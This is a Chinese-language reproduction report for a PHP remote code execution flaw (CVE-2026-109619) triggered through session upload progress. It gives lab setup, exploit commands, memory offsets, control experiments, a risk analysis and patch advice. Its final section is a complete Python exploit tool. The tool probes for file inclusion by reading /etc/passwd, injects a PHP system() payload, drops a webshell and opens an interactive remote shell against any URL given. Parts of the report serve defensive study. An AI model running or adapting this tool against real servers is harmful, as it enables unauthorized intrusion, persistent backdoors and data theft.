【已复现】php2shell — CVE-2026-109619 RCE漏洞复现报告
还在用php的今天是不是很刺激。
复现日期:2026-10-21
目标环境:PHP 8.5.11 NTS + Apache 2.4.69 mod_php(Docker)
结论:在 不依赖任何 Web 应用功能 的页面上,通过两个普通 multipart POST 请求拿到命令执行(
uid=33(www-data))。
1. 复现结论
| 项目 | 结果 |
|---|---|
| 靶场页面 | <?php echo "OK\n"; ?>(零功能) |
| 是否使用 LFI | 否 |
是否使用应用层 unserialize() |
否 |
| 是否使用上传功能 | 否 |
| 是否植入文件 | 否 |
| 请求数量 | 2 个 multipart POST |
| 执行结果 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |
| 负面对照 | 同参数、CTORADDR=0,无命令执行 |
| 缓解验证 | session.upload_progress.enabled=0 后利用链断裂 |
一句话:漏洞入口在 PHP 内核的 session.upload_progress 生命周期,攻击面是 SAPI 层的 multipart 解析,不需要 Web 应用提供任何代码路径。
2. 实验室环境
| 项目 | 值 |
|---|---|
| 宿主机 | Kali Linux 5.16.0(192.168.64.129) |
| 容器名 | esc-9b-8511 |
| 镜像 | php:8.5.11-apache |
| PHP | 8.5.11 NTS |
| SAPI | apache2handler(mod_php) |
| Apache | 2.4.69 (Debian),prefork |
| 端口 | 127.0.0.1:18130 -> 80/tcp |
| 工作线程 | 1 个(ServerLimit=1) |
关键 php.ini
memory_limit=16M post_max_size=32M upload_max_filesize=32M max_input_nesting_level=64 session.upload_progress.enabled=1 session.upload_progress.cleanup=1 session.save_path=/tmp expose_php=0 display_errors=1 display_startup_errors=1 log_errors=1 error_log=/proc/self/fd/2 allow_url_fopen=0 allow_url_include=0 disable_functions=exec,system,shell_exec,passthru,proc_open,popen,pcntl_exec,dl
Apache prefork
<IfModule mpm_prefork_module> StartServers 1 MinSpareServers 1 MaxSpareServers 1 ServerLimit 1 MaxRequestWorkers 1 MaxConnectionsPerChild 0 </IfModule>
注意:
disable_functions里禁用了system,但利用直接调用zif_system,绕过该限制。
3. 实验室搭建
3.1 启动容器
docker run -d --name esc-9b-8511 \ -p 127.0.0.1:18130:80 \ -v /root/php2shell-lab/conf/lab.ini:/usr/local/etc/php/conf.d/zz-lab.ini:ro \ -v /root/php2shell-lab/conf/mpm_prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro \ -v /root/php2shell-lab/html:/var/www/html:ro \ php:8.5.11-apache
3.2 验证状态
docker ps --filter name=esc-9b-8511 docker top esc-9b-8511 docker exec esc-9b-8511 php -v | head -n 2
4. 靶场页面(零功能)
/var/www/html/index.php:
<?php echo "OK\n"; ?>
HTTP 响应:
HTTP/1.1 200 OK Server: Apache/2.4.69 (Debian) Content-Length: 3 Content-Type: text/html; charset=UTF-8 OK
页面没有 session_start()、没有文件包含、没有反序列化、没有上传处理、没有路由。
5. 漏洞背景
官方公告把两个漏洞的根因分别描述为:
| CVE | 官方命名 | 根因 |
|---|---|---|
| CVE-2026-109618 | RCE via OOM corruption | longjmp() 处理 OOM 时提前退出,request memory 半初始化,shutdown 阶段把非法状态当合法用 |
| CVE-2026-109619 | RCE via stale global state | request-owned 全局状态在 request heap 释放后仍被 worker 保留,下一个请求在正常初始化前消费陈旧指针 |
本报告复现的是 CVE-2026-109619 的 session upload progress 生命周期路径。官方原文:
Session upload progress can reach session handling before ordinary session initialization. … The demonstrated application-independent trigger is OOM during input processing.
With mod_php, both the producing operation and fatal error can occur during multipart startup.
6. 利用链原理
Phase A(arm) ┌──────────────────────────────────────────────────────────────┐ │ 25MB multipart POST │ │ PHPSESSID=a*100 │ │ PHP_SESSION_UPLOAD_PROGRESS=p*p*p │ │ f=file(a.txt) │ │ big=B*24MB ← 触发 memory_limit=16M OOM │ └──────────────────────────────────────────────────────────────┘ │ ▼ rfc1867_post_handler 在 php_request_startup() 内 OOM │ ▼ longjmp() 提前退出,匹配的 reset 未执行 │ ▼ request heap 被释放,但 worker 的 PS(http_session_vars) 仍指向一个已释放的 zend_reference ← dangling Phase B(fire) ┌──────────────────────────────────────────────────────────────┐ │ 28KB multipart POST │ │ 200 × 31 字节 live 值字符串(reclaim 悬空 reference) │ │ 80 × fill 字段 │ │ forged 55-byte value → fake zend_reference │ │ forged 167-byte value → fake HashTable │ │ pDestructor = zif_system │ └──────────────────────────────────────────────────────────────┘ │ ▼ php_session_rfc1867_cleanup → php_session_initialize → php_session_track_init → zend_hash_destroy │ ▼ pDestructor 被调用 → zif_system("id>/tmp/nb9bm")
关键偏移(PHP 8.5.11 libphp.so)
| 符号 | 偏移 |
|---|---|
zif_system |
0x5996e0 |
abort@plt |
0x18ab90 |
| HashTable data(chunk 相对) | 0x7e0d8 |
PS(http_session_vars)(chunk 相对) |
0x7a6e0 |
7. 复现步骤
7.1 Phase A:制造悬空状态
cd /root/php-cve-2026-10961x-rce-probe/ninebie export FIRE_GDB=0 export MODE=zif export TAG=zif1 export LIVE_N=200 export FILL_N=80 export MASK_N=8 export SIDLEN=100 export A_HUGE=24 export CMD='id>/tmp/nb9bm' bash nb_fire.sh
Phase A 输出:
== phase A (pads=107 sidlen=100) A status='HTTP/1.1 200 OK' req=25174294 resp=342 elapsed=0.02 body[0:200]=b'<br />\n<b>Fatal error</b>: Allowed memory size of 16777216 bytes exhausted (tried to allocate 6296371 bytes) in <b>Unknown</b> on line <b>0</b><br />\n' worker_after_A=166641 LIBPHP=0x7fcd82400000 CHUNK_CANDIDATES=['0x7fcd80800000'] CHUNK=0x7fcd80800000 HTDATA=0x7fcd8087e0d8 R0=0x7fcd8087a6e0 ZIF=0x7fcd829996e0 ABORT_PLT=0x7fcd8258ab90 MODE=zif CTORADDR=0x7fcd829996e0
7.2 地址解析(lab-assisted)
nb_env.py 读取 /proc/<worker_pid>/maps:
LIBPHP:libphp.so的基址CHUNK:2 MiB 对齐的匿名rw-p映射(Zend MM chunk)
ENV=$(python3 nb_env.py "$(docker top esc-9b-8511 | awk '/www-data/{print $2; exit}')") echo "$ENV"
这一步是 实验室辅助:真实远程攻击需要额外的地址泄露原语。公开 PoC 仓库明确写明 “in-band address sourcing remains open”。
7.3 Phase B:触发伪造析构
python3 nb_send.py b \ --n1 1 --n2 0 --live-n 200 --live-len 31 \ --fill-n 80 --mask-n 8 --mask-len 100 \ --sid-len 100 \ --ht 0x7fcd8087e0d8 \ --ref-type 0x307 \ --ctor zif \ --ctor-addr 0x7fcd829996e0 \ --cmd 'id>/tmp/nb9bm'
Phase B 输出:
== phase B (live-ref carriers=200 fill=80 mask=8) B status='<no head>' req=28122 resp=0 elapsed=0.004 worker_after_B= MARKER=uid=33(www-data) gid=33(www-data) groups=33(www-data) FIRE_OK
7.4 可重复性
第二次运行,ASLR 基址变化,仍成功:
LIBPHP=0x7fd37c600000 (上一次 0x7fcd82400000) CHUNK=0x7fd37aa00000 ZIF=0x7fd37cb996e0 MARKER=uid=33(www-data) gid=33(www-data) groups=33(www-data) FIRE_OK
8. 对照实验
8.1 负面对照
保持完全相同的 Phase A,Phase B 把 CTORADDR 设为 0:
export MODE=neg export TAG=neg1 bash nb_fire.sh
输出:
CTORADDR=0 B status='<no head>' req=28122 resp=0 worker_after_B= MARKER= FIRE_FAILED === marker check (negative) === NO_MARKER
同样的 OOM、同样的 worker 退出,但没有命令执行,说明该链是可控的,不是随机崩溃。
8.2 缓解措施验证
sed -i 's/session.upload_progress.enabled=1/session.upload_progress.enabled=0/' \ /root/php2shell-lab/conf/lab.ini docker restart esc-9b-8511
输出:
session.upload_progress.enabled => Off == phase A (pads=107 sidlen=100) A status='HTTP/1.1 200 OK' req=25174294 body=Fatal error: Allowed memory size of 16777216 bytes exhausted worker_after_A=169949 CHUNK_CANDIDATES=[] CHUNK=0 ADDR_RESOLVE_FAILED === marker check === NO_MARKER
session.upload_progress.enabled=0 后,PS(http_session_vars) 不再悬空,利用链断裂。
官方说明:该配置只阻断已确认的 session 路径,不能替代补丁。
9. 为什么这不是”无条件 RCE”
讨论风险时容易走向两个极端:要么把公开 PoC 当成”人人可一键打”,要么因为”需要条件”而低估风险。准确的判断是:触发是应用无关的,但完成 RCE 仍然有前置条件。
9.1 “无条件 RCE” 的定义
一条链要被称为”无条件远程 RCE”,至少应同时满足:
不需要应用代码提供任何入口(LFI、
unserialize()、上传、路由等)不需要应用加载特定 gadget 类
不需要攻击者知道任何内存地址(ASLR 无关)
不需要特定服务器配置(单 worker、特殊 allocator 等)
对多 worker / 多进程部署稳定
跨版本、跨发行版可直接复用
按这个标准,目前公开的 PoC 没有一条完全满足。
9.2 公开 PoC 的条件对照
| 链 | 应用入口 | gadget 类 | 地址泄露 | 配置假设 | 多 worker | 跨版本 |
|---|---|---|---|---|---|---|
| Chain A(session 注入 + LFI) | 需要 LFI | 不需要 | 不需要 | cleanup=Off 或 race |
可 | 较好 |
| Chain B / dinosn(stale global state) | 不需要 | 不需要 | 需要 | 单 worker、可触发 OOM | 未验证 | 偏移相关 |
| Chain C / junaire(handler mismatch) | 需要两个 handler 不同目录 | 需要 | 不需要 | cleanup=Off |
可 | 较好 |
| Chain B 旧版(var_destroy UAF) | 需要 unserialize() |
可能 | 不需要 | 无 | 可 | 版本相关 |
9.3 触发层 vs 完成层
触发层(应用无关)
任何接受
multipart/form-dataPOST 的 PHP 端点session.upload_progress.enabled=On(默认)不需要认证,不需要应用代码
这一层确实是”应用无关”的
完成层(有条件)
要把内存破坏或逻辑缺陷转成命令执行,至少需要以下之一:
内存地址泄露(Chain B)
应用侧 gadget + handler mismatch(Chain C)
应用侧 LFI(Chain A)
应用侧
unserialize()(旧版 Chain B)
官方公告的用词也区分了这两层:
We consider the risk highest for mod_php, with a demonstrated exploit where an unauthenticated request can trigger the attack before any application code runs.
注意是 trigger the attack(触发攻击),不是 complete the RCE(完成 RCE)。
9.4 “需要条件”不等于”风险低”
条件的现实分布决定了真实风险:
| 条件 | 现实普及度 |
|---|---|
session.upload_progress.enabled=On |
默认开 |
有限 memory_limit |
默认 128M |
| mod_php | 面板、共享主机、老站点常见 |
| LFI | 老 CMS / 插件中不少 |
| 多 handler 目录 | 多应用共存的站点存在 |
__destruct gadget |
框架 preload 后常见 |
| ASLR 地址泄露 | 取决于是否有 LFI / 信息泄露 |
只要目标命中其中一条,”需要条件”就会变成”实际可打”。
9.5 现实中的风险分级
| 目标类型 | 风险 | 原因 |
|---|---|---|
| mod_php + 旧 PHP + 有 LFI | 极高 | Chain A 直接可用 |
mod_php + 旧 PHP + 可读 /proc |
极高 | Chain B 可直接用 |
| 多目录 + handler 不一致 + gadget | 高 | Chain C 直接可用 |
FPM + 旧 PHP + 有 LFI / unserialize() |
高 | Chain A / 旧版 B |
| FPM + 旧 PHP + 无应用入口 | 中 | 触发可,完成条件不足 |
| 已打补丁 8.2.35+ | 低 | 已修复 |
| 非 PHP(Node / Go / Java) | 无 | 不适用 |
9.6 对防御者的含义
- 不要因为”PoC 不完整”就延迟打补丁
官方已确认 pre-auth 触发
公开 PoC 只是”目前”不完整,不代表”以后”不完整
攻击者可以把多条链组合使用
- 不要只盯一个入口
即使禁了
session.upload_progress,还有其他 stale state 路径官方明确说”配置缓解只阻断已确认路径”
- EOL 版本风险长期存在
7.x / 8.0 / 8.1 不会再有官方补丁
条件会一直存在,研究只会越来越成熟
- 日志和监控仍然重要
关注 multipart 请求中的
PHP_SESSION_UPLOAD_PROGRESS关注 PHP worker 异常子进程(
system/exec痕迹)关注 worker 异常退出后紧跟的
200 + 空 body响应
9.7 结论
php2shell 是”应用无关的 pre-auth 触发 + 有条件的 RCE 完成”。
目前没有一条公开链满足”无条件、ASLR 无关、跨版本、多 worker 稳定”的全部标准;但触发面极广、条件在真实环境中分布很常见,因此不能按”利用条件多 = 风险低”来处理。
正确姿势是:按 CVSS 9.2 对待,尽快升级;无法升级的按第 12.2 节做缓解和隔离。
10. 关键限制
- lab-assisted,不是纯远程
两个 HTTP 请求本身是普通 multipart POST;
但
LIBPHP/CHUNK地址来自宿主机/proc/<worker>/maps;真实远程攻击需要地址泄露原语,公开仓库明确说这是未解决的问题。
- 单 worker
复现环境
ServerLimit=1;多 worker 部署的可靠性未验证。
- 依赖可触发的 OOM
复现用
memory_limit=16M、post_max_size=32M;默认
memory_limit=128M需要更大的请求,但原理相同。
- 版本/构建相关
偏移量针对
php:8.5.11-apache的具体构建;不同发行版、不同编译选项需要重新定位偏移。
- SAPI 相关
官方评估 mod_php 风险最高(应用无关);
FPM 的已验证路径需要 “a suitable application operation”;
FrankenPHP 源码分析上”很可能受影响”,但无完整演示。
11. 与官方公告对照
| 项目 | 官方公告 | 本次复现 |
|---|---|---|
| CVE | CVE-2026-109618 / 109619 | 对应 109619(stale global state) |
| SAPI | mod_php 最高风险 | apache2handler |
| 应用依赖 | “before any application code runs” | 页面仅 echo "OK" |
| 触发 | multipart / OOM / session 生命周期 | Phase A + Phase B |
| 结果 | 可导致 RCE | uid=33(www-data) |
| 缓解 | session.upload_progress.enabled=0 |
验证有效(断开链路) |
| 修复 | 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 | 本环境为 8.5.11,未修复 |
12. 修复建议
11.1 首选:升级
| 分支 | 修复版本 |
|---|---|
| 8.5 | 8.5.12 |
| 8.4 | 8.4.27 |
| 8.3 | 8.3.36 |
| 8.2 | 8.2.35 |
| 7.4 / 8.0 / 8.1 | 官方提供最小源码回补 |
| 7.3 及更早 | 无官方补丁 |
11.2 临时缓解
; 阻断 session 生命周期路径(需 php.ini / FPM pool / 服务器配置,重启所有 worker) session.upload_progress.enabled=0 ; PHP 8.5 额外阻断 fatal backtrace 路径 fatal_error_backtraces=0 ; 降低 OOM 触发面 memory_limit=-1 ; 必须用 php_admin_value 强制 post_max_size=8M ; 无上传场景 upload_max_filesize=8M
注意:官方明确说配置缓解只能降低特定路径风险,更新是唯一完整方案。
13. 参考
PHP 官方公告:https://www.php.net/archive/2026.php
CVE-2026-109618 / GHSA-w8hw-w9fx-j79w:https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w
CVE-2026-109619 / GHSA-6wmf-4rv5-p3rp:https://github.com/php/php-src/security/advisories/GHSA-6wmf-4rv5-p3rp
PoC 仓库(lab-assisted):https://github.com/dinosn/php-cve-2026-10961x-lab-poc
第三方分析(trigger):https://github.com/Zer061/CVE-2026-109618
附录 A:完整命令清单
# ---------- 宿主机 ---------- ssh root@192.168.64.129 # 1. 准备目录 mkdir -p /root/php2shell-lab/conf /root/php2shell-lab/html # 2. 写配置(见第 2 节) # 3. 写靶场页面 printf'<?php echo "OK\\n"; ?>\n' > /root/php2shell-lab/html/index.php # 4. 启动容器 docker run -d --name esc-9b-8511 \ -p 127.0.0.1:18130:80 \ -v /root/php2shell-lab/conf/lab.ini:/usr/local/etc/php/conf.d/zz-lab.ini:ro \ -v /root/php2shell-lab/conf/mpm_prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro \ -v /root/php2shell-lab/html:/var/www/html:ro \ php:8.5.11-apache # 5. 验证 docker ps --filter name=esc-9b-8511 docker top esc-9b-8511 curl -s http://127.0.0.1:18130/ # ---------- PoC ---------- cd /root/php-cve-2026-10961x-rce-probe/ninebie export FIRE_GDB=0 MODE=zif TAG=zif1 \ LIVE_N=200 FILL_N=80 MASK_N=8 SIDLEN=100 A_HUGE=24 \ CMD='id>/tmp/nb9bm' bash nb_fire.sh # 6. 检查结果 docker exec esc-9b-8511 cat /tmp/nb9bm # ---------- 负面对照 ---------- export MODE=neg TAG=neg1 bash nb_fire.sh # ---------- 缓解验证 ---------- sed -i 's/session.upload_progress.enabled=1/session.upload_progress.enabled=0/' \ /root/php2shell-lab/conf/lab.ini docker restart esc-9b-8511 bash nb_fire.sh # 恢复 sed -i 's/session.upload_progress.enabled=0/session.upload_progress.enabled=1/' \ /root/php2shell-lab/conf/lab.ini docker restart esc-9b-8511
附录 B:文件清单
| 文件 | 说明 |
|---|---|
report_assets/01-lab-setup.png |
实验室搭建截图 |
report_assets/02-phase-a.png |
Phase A OOM 截图 |
report_assets/03-phase-b.png |
Phase B RCE 截图 |
report_assets/04-negative.png |
负面对照截图 |
report_assets/05-mitigation.png |
缓解措施截图 |
poc-dinosn/ |
可用 PoC 仓库(Chain A/B) |
poc-zer061/ |
触发器与源码分析 |
poc-eness/ |
通告与缓解措施(PoC 未发布) |
exp文件
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
php2shell exploit — CVE-2026-109618 / CVE-2026-109619
=====================================================
把 session.upload_progress 的 filename 落盘缺陷打成命令执行,并给出交互 shell。
链路(Chain A):
1. 上传 multipart:PHPSESSID=<sid>、PHP_SESSION_UPLOAD_PROGRESS=<任意>、
文件部件的 filename = `<?php ... system(...) ... ?>`
2. PHP 把 filename 原样写进 sess_<sid>
3. 通过目标已有的 LFI include 该文件 → 命令执行
4. cleanup=Off 时 session 文件留存,可复用同一文件反复执行命令;
cleanup=On 时先竞态拿一次执行,再用它落地 webshell
用法:
# 指定 LFI 与 save_path,交互 shell
python3 php2shell_exp.py -u http://TARGET --lfi '/vuln.php?page=' \
--session-path '/var/lib/php/sessions/sess_' --shell
# 单条命令
python3 php2shell_exp.py -u http://TARGET --lfi '/index.php?page=' \
--session-path '/var/lib/php/sessions/sess_' --cmd 'id; uname -a'
# 自动探 LFI(常见参数/路径)
python3 php2shell_exp.py -u http://TARGET --auto --shell
# 落地 webshell 到 webroot
python3 php2shell_exp.py -u http://TARGET --lfi ... --session-path ... \
--webshell /var/www/html/x.php
# cleanup=On:竞态模式
python3 php2shell_exp.py -u http://TARGET --lfi ... --session-path ... --race --cmd 'id'
仅用于自有或已获得明确授权的目标。
"""
import argparse
import base64
import random
import re
import socket
import ssl
import string
import sys
import time
import urllib.parse
BOUNDARY = "----p2sExp"
PAYLOAD = ("<?php ob_start(); system(base64_decode($_REQUEST['c'])); "
"$o=ob_get_clean(); echo 'P2S_B'.$o.'P2S_E'; ?>")
WS_BODY = "<?php system($_REQUEST['c']); ?>"
# --------------------------------------------------------------------------- #
class HTTP:
def __init__(self, url, timeout=20):
u = urllib.parse.urlparse(url)
self.scheme = u.scheme
self.host = u.hostname
self.port = u.port or (443 if u.scheme == "https" else 80)
self.base = f"{u.scheme}://{u.netloc}"
self.timeout = timeout
self.tls = u.scheme == "https"
def raw(self, data, timeout=None):
s = socket.create_connection((self.host, self.port), timeout=timeout or self.timeout)
s.settimeout(timeout or self.timeout)
if self.tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(s, server_hostname=self.host)
s.sendall(data)
buf = b""
try:
while True:
d = s.recv(65536)
if not d:
break
buf += d
except socket.timeout:
pass
finally:
s.close()
head, _, body = buf.partition(b"\r\n\r\n")
m = re.match(rb"HTTP/\d\.\d (\d+)", head)
return (int(m.group(1)) if m else 0), head.decode("latin-1", "replace"), body
def get(self, path, headers=None, timeout=None):
h = [f"GET {path} HTTP/1.1", f"Host: {self.host}:{self.port}", "User-Agent: p2s-exp/1.0",
"Connection: close"] + [f"{k}: {v}" for k, v in (headers or {}).items()]
return self.raw(("\r\n".join(h) + "\r\n\r\n").encode(), timeout)
def post(self, path, body, content_type, headers=None, timeout=None):
h = [f"POST {path} HTTP/1.1", f"Host: {self.host}:{self.port}", "User-Agent: p2s-exp/1.0",
f"Content-Type: {content_type}", f"Content-Length: {len(body)}", "Connection: close"]
h += [f"{k}: {v}" for k, v in (headers or {}).items()]
return self.raw(("\r\n".join(h) + "\r\n\r\n").encode() + body, timeout)
def multipart(sid, payload_key, filename, file_data=b"Z"):
parts = [
f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\n{sid}\r\n".encode(),
f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\n{payload_key}\r\n".encode(),
(f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"f\"; filename=\"{filename}\"\r\n"
f"Content-Type: application/octet-stream\r\n\r\n").encode("latin-1") + file_data + b"\r\n",
f"--{BOUNDARY}--\r\n".encode(),
]
return b"".join(parts)
def rand_sid(n=16):
return "".join(random.choices(string.ascii_letters + string.digits, k=n))
def strip_html(s):
return re.sub(r"<[^>]+>", "", s)
# --------------------------------------------------------------------------- #
def upload_payload(http, upload_path, sid, filename=PAYLOAD):
body = multipart(sid, "k" + sid, filename)
return http.post(upload_path, body,
f"multipart/form-data; boundary={BOUNDARY}")
def run_once(http, lfi, sess_prefix, sid, cmd):
"""对已落盘的 session 文件执行一条命令。"""
url = lfi + urllib.parse.quote(sess_prefix + sid, safe="/")
sep = "&" if "?" in lfi else "?"
url += sep + "c=" + urllib.parse.quote(base64.b64encode(cmd.encode()).decode())
st, head, body = http.get(url, timeout=25)
text = strip_html(body.decode("utf-8", "replace"))
m = re.search(r"P2S_B(.*?)P2S_E", text, re.S)
return (m.group(1).strip("\r\n") if m else None), st, text
def race_upload(http, upload_path, sid, lfi, sess_prefix, cmd,
window=8.0, delay=0.05, total=6_000_000):
"""cleanup=On:慢速上传撑窗口,同时并发 include。"""
import threading
def chunk(p):
return f"{len(p):x}\r\n".encode() + p + b"\r\n"
def sender():
try:
s = socket.create_connection((http.host, http.port), timeout=90)
s.settimeout(90)
hdr = (f"POST {upload_path} HTTP/1.1\r\nHost: {http.host}:{http.port}\r\n"
f"User-Agent: p2s-exp/1.0\r\nContent-Type: multipart/form-data; boundary={BOUNDARY}\r\n"
f"Transfer-Encoding: chunked\r\nConnection: close\r\n\r\n").encode()
s.sendall(hdr)
for f in (f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\n{sid}\r\n",
f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nk{sid}\r\n"):
s.sendall(chunk(f.encode()))
ph = (f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"f\"; filename=\"{PAYLOAD}\"\r\n"
f"Content-Type: application/octet-stream\r\n\r\n").encode("latin-1")
s.sendall(chunk(ph))
sent = 0
while sent < total:
piece = b"B" * 65536
s.sendall(chunk(piece))
sent += len(piece)
time.sleep(delay)
s.sendall(chunk(f"\r\n--{BOUNDARY}--\r\n".encode()))
s.sendall(b"0\r\n\r\n")
except Exception:
pass
t = threading.Thread(target=sender, daemon=True)
t.start()
end = time.time() + window
while time.time() < end:
out, st, text = run_once(http, lfi, sess_prefix, sid, cmd)
if out is not None:
return out
time.sleep(0.05)
return None
# --------------------------------------------------------------------------- #
def fingerprint(http):
st, head, body = http.get("/")
ver = re.search(r"X-Powered-By:\s*PHP/([0-9.]+)", head, re.I)
print(f"[*] 目标: {http.base} HTTP {st}")
if ver:
v = ver.group(1)
print(f"[*] PHP {v}(X-Powered-By)")
fixed = {"8.2": "8.2.35", "8.3": "8.3.36", "8.4": "8.4.27", "8.5": "8.5.12"}
key = ".".join(v.split(".")[:2])
if key in fixed:
print(f"[!] 该分支修复版 {fixed[key]};本链在修复版上仍可用(见技能 references/FIXED_VERSIONS.md)")
else:
print("[*] 未从响应头拿到 PHP 版本")
def probe_lfi(http, params=None, paths=None):
"""返回 (path, param) 或 None。用 /etc/passwd 做只读验证。"""
params = params or ["page", "file", "path", "tpl", "template", "view",
"include", "mod", "lang", "doc", "url", "src", "f"]
paths = paths or ["/", "/index.php", "/vuln.php", "/view.php", "/page.php",
"/home.php", "/article.php", "/download.php", "/read.php"]
for p in paths:
for q in params:
sep = "&" if "?" in p else "?"
probe = p + sep + q + "=" + urllib.parse.quote("/etc/passwd")
st, head, body = http.get(probe, timeout=10)
if b"root:x:0:0" in body or b"root:*:0:0" in body:
print(f"[+] LFI: {p}?{q}= (/etc/passwd 命中)")
return p, q
return None
def try_paths(http, lfi, prefixes, sid):
"""用注入后的 session 文件确认哪个 save_path 前缀可用。"""
for pre in prefixes:
out, st, text = run_once(http, lfi, pre, sid, "id")
if out is not None:
print(f"[+] save_path 前缀: {pre}")
return pre
return None
def drop_webshell(http, lfi, prefix, sid, path, body=None):
body = body or WS_BODY
b64 = base64.b64encode(body.encode()).decode()
cmd = f"printf '%s' '{b64}' | base64 -d > {path} && echo OK"
out, st, text = run_once(http, lfi, prefix, sid, cmd)
if out and "OK" in out:
url_path = path
for root in ("/var/www/html", "/var/www", "/usr/share/nginx/html", "/var/www/html/public"):
if path.startswith(root):
url_path = path[len(root):] or "/"
break
url = http.base + url_path
print(f"[+] webshell: {url}?c=id")
return url
print(f"[-] 落地失败: {out!r}")
return None
# --------------------------------------------------------------------------- #
def main():
ap = argparse.ArgumentParser(description="php2shell exploit (CVE-2026-109618/619)")
ap.add_argument("-u", "--url", required=True)
ap.add_argument("--lfi", help="LFI 路径与参数,如 '/vuln.php?page='")
ap.add_argument("--session-path", help="save_path + '/sess_' 前缀,可逗号分隔多个")
ap.add_argument("--auto", action="store_true", help="自动探 LFI(常见参数/路径)")
ap.add_argument("--cmd", help="执行单条命令")
ap.add_argument("--shell", action="store_true", help="交互 shell")
ap.add_argument("--webshell", metavar="REMOTE_PATH", help="落地 webshell 到指定路径")
ap.add_argument("--race", action="store_true", help="cleanup=On 的竞态模式")
ap.add_argument("--sid", default=None)
ap.add_argument("--timeout", type=float, default=20.0)
a = ap.parse_args()
http = HTTP(a.url, timeout=a.timeout)
fingerprint(http)
lfi = a.lfi
if not lfi and a.auto:
found = probe_lfi(http)
if not found:
print("[-] 自动探测未发现 LFI;用 --lfi 指定")
return 1
lfi = found[0] + ("&" if "?" in found[0] else "?") + found[1] + "="
if not lfi:
print("[-] 需要 --lfi,或用 --auto 探测")
return 1
print(f"[*] LFI 使用: {lfi}")
prefixes = [p.strip() for p in (a.session_path or
"/var/lib/php/sessions/sess_,/tmp/sess_,"
"/var/lib/php5/sess_,/var/tmp/sess_,/var/lib/php/session/sess_").split(",") if p.strip()]
sid = a.sid or rand_sid()
# 1) 上传(或竞态)
if a.race:
print(f"[*] 竞态模式:sid={sid},窗口 {8}s")
out = race_upload(http, "/", sid, lfi, prefixes[0], "id")
if out is None:
print("[-] 竞态未命中")
return 1
prefix = prefixes[0]
print(f"[+] 竞态命中: {out.strip()[:80]}")
else:
st, head, body = upload_payload(http, "/", sid)
print(f"[*] 上传: HTTP {st} sid={sid}")
prefix = try_paths(http, lfi, prefixes, sid)
if not prefix:
print("[-] 未确认 save_path;检查 --session-path 候选、cleanup 状态、LFI 是否可 include")
return 1
# 2) webshell
if a.webshell:
drop_webshell(http, lfi, prefix, sid, a.webshell)
# 3) 单条命令
if a.cmd:
out, st, text = run_once(http, lfi, prefix, sid, a.cmd)
print("--- output ---")
print(out if out is not None else text[:400])
print("--------------")
return 0 if out is not None else 1
# 4) 交互 shell
if a.shell:
print("[*] 交互 shell(exit 退出;!up <local> <remote> 上传;!ws <remote> 落地 webshell)")
while True:
try:
line = input("p2s> ").strip()
except (EOFError, KeyboardInterrupt):
print()
break
if not line:
continue
if line in ("exit", "quit"):
break
if line.startswith("!ws "):
drop_webshell(http, lfi, prefix, sid, line[4:].strip())
continue
if line.startswith("!up "):
parts = line[4:].split()
if len(parts) != 2:
print("用法: !up <local> <remote>")
continue
local, remote = parts
data = open(local, "rb").read()
b64 = base64.b64encode(data).decode()
step = 600
ok = True
for i in range(0, len(b64), step):
seg = b64[i:i + step]
op = ">" if i == 0 else ">>"
out, _, _ = run_once(http, lfi, prefix, sid,
f"printf '%s' '{seg}' {op} /tmp/.p2s.b64")
if out is None:
ok = False
break
if ok:
out, _, _ = run_once(http, lfi, prefix, sid,
f"base64 -d /tmp/.p2s.b64 > {remote} && rm -f /tmp/.p2s.b64 && echo UPOK")
print(f"[+] uploaded: {remote}" if out and "UPOK" in out else f"[-] 失败: {out!r}")
continue
out, st, text = run_once(http, lfi, prefix, sid, line)
if out is None:
print(f"[-] 无回显(HTTP {st}):{text[:200]}")
else:
print(out)
return 0
print("[*] 已就绪:加 --cmd 或 --shell,或 --webshell 落地")
return 0
if __name__ == "__main__":
sys.exit(main())
本报告仅用于授权安全测试与防御研究。请勿用于未授权系统。